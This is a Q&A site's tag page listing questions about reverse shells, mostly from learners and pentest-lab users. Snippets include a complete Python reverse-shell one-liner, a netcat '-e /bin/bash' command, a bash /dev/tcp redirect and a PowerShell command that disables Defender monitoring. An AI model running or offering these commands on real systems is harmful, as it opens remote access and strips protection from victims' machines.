Questions tagged [reverse-shell]
68 questions
1
vote
2 answers
I can't turn off Real Time Protection via Powershell
I want to try reverse shell. I tried to turn off Real Time Protection using Powershell command:
Set-MpPreference -DisableRealtimeMonitoring $true
But it doesn't work. I am pretty sure I did everything right. I opened it as administrator and ran the…

Məhəmməd Abbaslı
- 11
- 3
1
vote
0 answers
How does a Python reverse shell one-liner work?
Consider:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
So this is a…

ramixix
- 33
- 5
1
vote
0 answers
Check netcat reverse shell with script
I do reverse shell with netcat.
A side nc 192.168.100.113 4444 –e /bin/bash
B side nc –lvp 4444
I want to automated and check this process from B side with shell script that reverse shell really working.
In B side, after nc –lvp 4444 How can I wait…

yfr24493AzzrggAcom
- 159
- 1
- 2
- 13
1
vote
1 answer
perl command line parameter -MIO flag
You can create a perl oneliner like this:
perl -MIO -e 'some_perl_code'
Can someone explain what this -MIO means? Couldn't find any useful information about this
(On https://perldoc.perl.org/perl.html there are flags -I and -M, but this makes no…

secf00tprint
- 553
- 5
- 15
1
vote
1 answer
How can I execute terminal commands from a C program?
I am creating a reverse shell in C (just for practice) and I don't know how to execute terminal commands from my C program. How should I go about doing this? (I am on a POSIX system) (I would like to get the output)

Serket
- 3,785
- 3
- 14
- 45
1
vote
2 answers
Python - running reverse shell inside eval()
I am working on a pentest lab. There is a Python eval() function I need to exploit.
It is like
eval('%s>1',payload)
I need to execute a Python reverse shell script as payload. It is
python -c 'import…

learner2017
- 105
- 1
- 3
- 10
1
vote
0 answers
Subprocess Stops Process In Persistant Reverse Shell Program
I am trying to transform the classic python reverse shell below into a persistent shell that can be run on a machine and connected back to at any time.
python -c 'import…

Michael Hoefler
- 105
- 2
- 9
1
vote
0 answers
python executable generator using pyinstaller
I am making a program to generate an executable that runs a reverse shell when run but I need this program to get input from the user(xxx = port, xxx.xxx.x.x = IP address) and create an executable using said data. I would like to use pyinstaller but…

Tyson Grosz
- 11
- 1
1
vote
0 answers
Spawing a fully interactive Windows cmd.exe shell
I was playing around with this on Windows, with netcat listening on a second device:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.225.136' # The remote host
PORT = 443 # The same port as used by the server
s =…

voices
- 495
- 6
- 20
1
vote
1 answer
What are the benefits of HTTP reverse shell over TCP reverse shell?
I had made a multiclient TCP reverse shell and saw a course video which said HTTP reverse shells are better because how its difficult to trace back to the attacker compared to TCP . I didn't understand it .
I have tried googling this question with…

Natesh bhat
- 12,274
- 10
- 84
- 125
1
vote
2 answers
reverse shell port forwarding
i create a reverse shell with python and i have a problem with my router in port forwarding.
I don't have any static ip.
In router:
Protocol: TCP
Lochealipaddr: 192.168.1.10
Localport: 8090
Wanipaddr: ---
Wanport: 8090
state: enable
in my…

D.H
- 37
- 1
- 7
1
vote
1 answer
Execute reverse shell using execve()
I need to run a reverse shell using execve. I know how to run it from command line as follows:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
I can run a simple version of /bin/sh call as follows:
#include
int main() {
char…

Jake
- 16,329
- 50
- 126
- 202
0
votes
0 answers
Issue with Downloaded Files Being Empty
I've been working on a client-server application where I'm implementing a file download feature. The download seems to work, as it saves files to the specified SAVE_DIRECTORY on both the client and server sides. However, there's a persistent problem…
0
votes
0 answers
Issue with File Download via TCP Connection in Ruby Application
I'm developing a Ruby application that functions as a remote control using a TCP connection. The application consists of a server that accepts commands from a remote client and executes them. One of the expected commands is to download a file from…
0
votes
0 answers
OSError: [Errno 13] Permission denied in reverseShell.py
I've tried to build a reverse Shell via python. Shell server works perfectly, but reverseShell.py doesn't. I was using Metasploitable vfstp 2.3.4 Backdoor to get into it, so it's using python 2.5.
File "reverseShell.py", line 17, in
…

Ahegao
- 1
- 1